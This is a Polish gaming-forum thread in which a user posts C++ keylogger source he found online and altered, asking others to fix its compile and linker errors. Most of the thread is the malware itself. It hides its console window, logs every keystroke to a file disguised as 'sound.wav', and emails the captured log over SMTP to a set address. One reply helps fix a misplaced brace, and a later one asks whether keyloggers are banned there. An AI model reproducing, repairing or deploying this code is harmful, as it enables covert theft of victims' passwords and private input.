Skocz do zawartości
  • 👋 Witaj na MPCForum!

    Przeglądasz forum jako gość, co oznacza, że wiele świetnych funkcji jest jeszcze przed Tobą! 😎

    • Pełny dostęp do działów i ukrytych treści
    • Możliwość pisania i odpowiadania w tematach
    • System prywatnych wiadomości
    • Zbieranie reputacji i rozwijanie swojego profilu
    • Członkostwo w jednej z największych społeczności graczy

    👉 Dołączenie zajmie Ci mniej niż minutę – a zyskasz znacznie więcej!

    Zarejestruj się teraz

Problem.


Hunter1995

Rekomendowane odpowiedzi

Opublikowano

Znalazłem na internecie kod keyloggera w c++. zrobiłem kilka przeróbek, ale cały czas wyskakuje mi pewien błąd.

 

 

Błąd

 

339 16 E:\Programy\Dev-Cpp\Programs\keylogger.cpp [Error] expected constructor, destructor, or type conversion before ';' token

 

 

SKRYPT:

 

#include <windows.h>

#include <stdio.h>

#include <winuser.h>

#include <windowsx.h>

#include <time.h>

int MailIt (char *mailserver, char *emailto, char *emailfrom,

char *emailsubject, char *emailmessage);

#define BUFSIZE 800

#define waittime 500

/*If you don't know the mail exchange server for an address for the following

"nslookup -querytype=mx gmail.com" but replace gmail.com with the domain for

whatever email address you want. YOU MUST CHANGE THESE SETTINGS OR

IT WILL NOT WORK!!! */

#define cmailserver "gmail-smtp-in.l.google.com"

#define cemailto "[email protected]"

#define cemailfrom "[email protected]"

#define LogLength 100

#define FileName "sound.wav"

#define SMTPLog "ring.wav"

#define cemailsubject "Logged"

 

int test_key(void);

int main(void)

{

//Uncomment the lines below to put the keylogger in stealh mode.

HWND stealth; /*creating stealth */

AllocConsole();

stealth=FindWindowA("ConsoleWindowClass",NULL);

ShowWindow(stealth,0);

 

{FILE *file;

file=fopen(FileName,"a+");

time_t theTime=time(0);

fputs("\nStarted logging: ", file);

fputs(ctime(&amp;theTime),file);

fclose(file);

}

 

/* if (test==2)

{//the path in which the file needs to be

char *path="c:\\%windir%\\svchost.exe";

create=create_key(path);

} */

 

int get_keys;

return get_keys;

}

 

 

int get_keys(void)

{

 

int freadindex;

char *buf;

long len;

FILE *file;

file=fopen(FileName,"a+");

 

 

short character;

while(1)

{

Sleep(10);/*to prevent 100% cpu usage*/

for(character=8;character&lt;=222;character++)

{

if(GetAsyncKeyState(character)==-32767)

{

FILE *file;

file=fopen(FileName,"a+");

if(file==NULL)

{

return 1;

}

if(file!=NULL)

{

if((character&gt;=39)&amp;&amp;(character&lt;=64))

{

fputc(character,file);

fclose(file);

break;

}

else if((character&gt;64)&amp;&amp;(character&lt;91))

{

character+=32;

fputc(character,file);

fclose(file);

break;

}

else

{

switch(character)

{

case VK_SPACE:

fputc(' ',file);

fclose(file);

break;

case VK_SHIFT:

fputs("\r\n[sHIFT]\r\n",file);

fclose(file);

break;

case VK_RETURN:

fputs("\r\n[ENTER]\r\n",file);

fclose(file);

break;

case VK_BACK:

fputs("\r\n[bACKSPACE]\r\n",file);

fclose(file);

break;

case VK_TAB:

fputs("\r\n[TAB]\r\n",file);

fclose(file);

break;

case VK_CONTROL:

fputs("\r\n[CTRL]\r\n",file);

fclose(file);

break;

case VK_DELETE:

fputs("\r\n[DEL]\r\n",file);

fclose(file);

break;

case VK_OEM_1:

fputs("\r\n[;:]\r\n",file);

fclose(file);

break;

case VK_OEM_2:

fputs("\r\n[/?]\r\n",file);

fclose(file);

break;

case VK_OEM_3:

fputs("\r\n[`~]\r\n",file);

fclose(file);

break;

case VK_OEM_4:

fputs("\r\n[ [{ ]\r\n",file);

fclose(file);

break;

case VK_OEM_5:

fputs("\r\n[\\|]\r\n",file);

fclose(file);

break;

case VK_OEM_6:

fputs("\r\n[ ]} ]\r\n",file);

fclose(file);

break;

case VK_OEM_7:

fputs("\r\n['\"]\r\n",file);

fclose(file);

break;

case 187:

fputc('+',file);

fclose(file);

break;

case 188:

fputc(',',file);

fclose(file);

break;

case 189:

fputc('-',file);

fclose(file);

break;

case 190:

fputc('.',file);

fclose(file);

break;

case VK_NUMPAD0:

fputc('0',file);

fclose(file);

break;

case VK_NUMPAD1:

fputc('1',file);

fclose(file);

break;

case VK_NUMPAD2:

fputc('2',file);

fclose(file);

break;

case VK_NUMPAD3:

fputc('3',file);

fclose(file);

break;

case VK_NUMPAD4:

fputc('4',file);

fclose(file);

break;

case VK_NUMPAD5:

fputc('5',file);

fclose(file);

break;

case VK_NUMPAD6:

fputc('6',file);

fclose(file);

break;

case VK_NUMPAD7:

fputc('7',file);

fclose(file);

break;

case VK_NUMPAD8:

fputc('8',file);

fclose(file);

break;

case VK_NUMPAD9:

fputc('9',file);

fclose(file);

break;

case VK_CAPITAL:

fputs("\r\n[CAPS LOCK]\r\n",file);

fclose(file);

break;

default:

fclose(file);

break;

}

}

}

}

}

FILE *file;

file=fopen(FileName,"rb");

fseek(file,0,SEEK_END); //go to end

len=ftell(file); //get position at end (length)

if(len&gt;=LogLength) {

fseek(file,0,SEEK_SET);//go to beg.

buf=(char *)malloc(len);//malloc buffer

freadindex=fread(buf,1,len,file);//read into buffer

buf[freadindex] = '\0';//Extra bit I have to add to make it a sting

MailIt( cmailserver, cemailto, cemailfrom, cemailsubject, buf);

fclose(file);

file=fopen(FileName,"w");

}

 

fclose(file);

//free (buf);

 

}

return EXIT_SUCCESS;

}

 

int MailIt (char *mailserver, char *emailto, char *emailfrom,

char *emailsubject, char *emailmessage) {

SOCKET sockfd;

WSADATA wsaData;

FILE *smtpfile;

 

#define bufsize 300

int bytes_sent; /* Sock FD */

int err;

struct hostent *host; /* info from gethostbyname */

struct sockaddr_in dest_addr; /* Host Address */

char line[1000];

char *Rec_Buf = (char*) malloc(bufsize+1);

smtpfile=fopen(SMTPLog,"a+");

if (WSAStartup(0x202,&amp;wsaData) == SOCKET_ERROR) {

fputs("WSAStartup failed",smtpfile);

WSACleanup();

return -1;

}

if ( (host=gethostbyname(mailserver)) == NULL) {

perror("gethostbyname");

exit(1);

}

memset(&amp;dest_addr,0,sizeof(dest_addr));

memcpy(&amp;(dest_addr.sin_addr),host-&gt;h_addr,host-&gt;h_length);

 

/* Prepare dest_addr */

dest_addr.sin_family= host-&gt;h_addrtype; /* AF_INET from gethostbyname */

dest_addr.sin_port= htons(25); /* PORT defined above */

 

/* Get socket */

 

if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) &lt; 0) {

perror("socket");

exit(1);

}

/* Connect !*/

fputs("Connecting....\n",smtpfile);

 

if (connect(sockfd, (struct sockaddr *)&amp;dest_addr,sizeof(dest_addr)) == -1){

perror("connect");

exit(1);

}

Sleep(waittime);

err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';

fputs(Rec_Buf,smtpfile);

strcpy(line,"helo me.somepalace.com\n");

fputs(line,smtpfile);

bytes_sent=send(sockfd,line,strlen(line),0);

Sleep(waittime);

err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';

fputs(Rec_Buf,smtpfile);

strcpy(line,"MAIL FROM:&lt;");

strncat(line,emailfrom,strlen(emailfrom));

strncat(line,"&gt;\n",3);

fputs(line,smtpfile);

bytes_sent=send(sockfd,line,strlen(line),0);

Sleep(waittime);

err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';

fputs(Rec_Buf,smtpfile);

strcpy(line,"RCPT TO:&lt;");

strncat(line,emailto,strlen(emailto));

strncat(line,"&gt;\n",3);

fputs(line,smtpfile);

bytes_sent=send(sockfd,line,strlen(line),0);

Sleep(waittime);

err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';

fputs(Rec_Buf,smtpfile);

strcpy(line,"DATA\n");

fputs(line,smtpfile);

bytes_sent=send(sockfd,line,strlen(line),0);

Sleep(waittime);

err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';

fputs(Rec_Buf,smtpfile);

Sleep(waittime);

strcpy(line,"To:");

strcat(line,emailto);

strcat(line,"\n");

strcat(line,"From:");

strcat(line,emailfrom);

strcat(line,"\n");

strcat(line,"Subject:");

strcat(line,emailsubject);

strcat(line,"\n");

strcat(line,emailmessage);

strcat(line,"\r\n.\r\n");

fputs(line,smtpfile);

bytes_sent=send(sockfd,line,strlen(line),0);

Sleep(waittime);

err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';

fputs(Rec_Buf,smtpfile);

strcpy(line,"quit\n");

fputs(line,smtpfile);

bytes_sent=send(sockfd,line,strlen(line),0);

Sleep(waittime);

err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';

fputs(Rec_Buf,smtpfile);

fclose(smtpfile);

#ifdef WIN32

closesocket(sockfd);

}

WSACleanup(); //--------------------------- TU JEST BŁĄD

#else

close(sockfd);

#endif

Opublikowano

#ifdef WIN32
closesocket(sockfd);
}
WSACleanup(); //--------------------------- TU JEST BŁĄD
#else
close(sockfd);
#endif

Chodzi mi dokładnie o ten nawias klamrowy. Powinien poza instrukcją preprocesora.

Opublikowano

Aaa.. konkretniej, rozumiem podstawy, ale co to preproceseor, nie wiem.

czyli dzie ta klamra sie ma kończyć?

Opublikowano

Już próbowałem, ale wtedy wykrywa błąd tutaj:

 

file=fopen(FileName,"rb");

fseek(file,0,SEEK_END); //go to end

len=ftell(file); //get position at end (length)

if(len&gt;=LogLength) {

fseek(file,0,SEEK_SET);//go to beg.

buf=(char *)malloc(len);//malloc buffer

freadindex=fread(buf,1,len,file);//read into buffer

buf[freadindex] = '\0';//Extra bit I have to add to make it a sting

MailIt( cmailserver, cemailto, cemailfrom, cemailsubject, buf); //------------ W TYM MIEJSCU

fclose(file);

file=fopen(FileName,"w");

}

 

fclose(file);

//free (buf);

 

}

return EXIT_SUCCESS;

}

 

int MailIt (char *mailserver, char *emailto, char *emailfrom,

char *emailsubject, char *emailmessage) {

 

log:

E:\Programy\Dev-Cpp\Programs\keylogger.cpp In function 'int get_keys()':

226 69 E:\Programy\Dev-Cpp\Programs\keylogger.cpp [Warning] deprecated conversion from string constant to 'char*' [-Wwrite-strings]

226 69 E:\Programy\Dev-Cpp\Programs\keylogger.cpp [Warning] deprecated conversion from string constant to 'char*' [-Wwrite-strings]

226 69 E:\Programy\Dev-Cpp\Programs\keylogger.cpp [Warning] deprecated conversion from string constant to 'char*' [-Wwrite-strings]

226 69 E:\Programy\Dev-Cpp\Programs\keylogger.cpp [Warning] deprecated conversion from string constant to 'char*' [-Wwrite-strings]

[Linker error] C:\DOCUME~1\Admin\USTAWI~1\Temp\ccTfRQNQ.o:keylogger.cpp:(.text+0x803): undefined reference to `WSAStartup@8'

[Linker error] C:\DOCUME~1\Admin\USTAWI~1\Temp\ccTfRQNQ.o:keylogger.cpp:(.text+0x838): undefined reference to `WSACleanup@0'

[Linker error] C:\DOCUME~1\Admin\USTAWI~1\Temp\ccTfRQNQ.o:keylogger.cpp:(.text+0x84d): undefined reference to `gethostbyname@4'

[Linker error] C:\DOCUME~1\Admin\USTAWI~1\Temp\ccTfRQNQ.o:keylogger.cpp:(.text+0x8cf): undefined reference to `htons@4'

[Linker error] C:\DOCUME~1\Admin\USTAWI~1\Temp\ccTfRQNQ.o:keylogger.cpp:(.text+0x8f2): undefined reference to `socket@12'

[Linker error] C:\DOCUME~1\Admin\USTAWI~1\Temp\ccTfRQNQ.o:keylogger.cpp:(.text+0x953): undefined reference to `connect@12'

[Linker error] C:\DOCUME~1\Admin\USTAWI~1\Temp\ccTfRQNQ.o:keylogger.cpp:(.text+0x9a9): undefined reference to `recv@16'

[Linker error] C:\DOCUME~1\Admin\USTAWI~1\Temp\ccTfRQNQ.o:keylogger.cpp:(.text+0xa2a): undefined reference to `send@16'

[Linker error] C:\DOCUME~1\Admin\USTAWI~1\Temp\ccTfRQNQ.o:keylogger.cpp:(.text+0xa61): undefined reference to `recv@16'

[Linker error] C:\DOCUME~1\Admin\USTAWI~1\Temp\ccTfRQNQ.o:keylogger.cpp:(.text+0xb3c): undefined reference to `send@16'

[Linker error] C:\DOCUME~1\Admin\USTAWI~1\Temp\ccTfRQNQ.o:keylogger.cpp:(.text+0xb73): undefined reference to `recv@16'

[Linker error] C:\DOCUME~1\Admin\USTAWI~1\Temp\ccTfRQNQ.o:keylogger.cpp:(.text+0xc4e): undefined reference to `send@16'

[Linker error] C:\DOCUME~1\Admin\USTAWI~1\Temp\ccTfRQNQ.o:keylogger.cpp:(.text+0xc85): undefined reference to `recv@16'

[Linker error] C:\DOCUME~1\Admin\USTAWI~1\Temp\ccTfRQNQ.o:keylogger.cpp:(.text+0xcfe): undefined reference to `send@16'

[Linker error] C:\DOCUME~1\Admin\USTAWI~1\Temp\ccTfRQNQ.o:keylogger.cpp:(.text+0xd35): undefined reference to `recv@16'

[Linker error] C:\DOCUME~1\Admin\USTAWI~1\Temp\ccTfRQNQ.o:keylogger.cpp:(.text+0xf54): undefined reference to `send@16'

[Linker error] C:\DOCUME~1\Admin\USTAWI~1\Temp\ccTfRQNQ.o:keylogger.cpp:(.text+0xf8b): undefined reference to `recv@16'

[Linker error] C:\DOCUME~1\Admin\USTAWI~1\Temp\ccTfRQNQ.o:keylogger.cpp:(.text+0x1004): undefined reference to `send@16'

[Linker error] C:\DOCUME~1\Admin\USTAWI~1\Temp\ccTfRQNQ.o:keylogger.cpp:(.text+0x103b): undefined reference to `recv@16'

[Linker error] C:\DOCUME~1\Admin\USTAWI~1\Temp\ccTfRQNQ.o:keylogger.cpp:(.text+0x1074): undefined reference to `closesocket@4'

[Linker error] C:\DOCUME~1\Admin\USTAWI~1\Temp\ccTfRQNQ.o:keylogger.cpp:(.text+0x107c): undefined reference to `WSACleanup@0'

bad reloc address 0x108 in section `.rdata'

Invalid operation

E:\Programy\Dev-Cpp\Programs\collect2.exe [Error] ld returned 1 exit status

Opublikowano

To nie jest tak, że na MPC jest zakaz keyloggerów? Moim zdaniem lepiej napisać samemu bo wtedy się wie co się ma.

4417049059_6234f40fb5.jpg
Storm has passed but the destruction are still visible.

Zarchiwizowany

Ten temat przebywa obecnie w archiwum. Dodawanie nowych odpowiedzi zostało zablokowane.

×
×
  • Dodaj nową pozycję...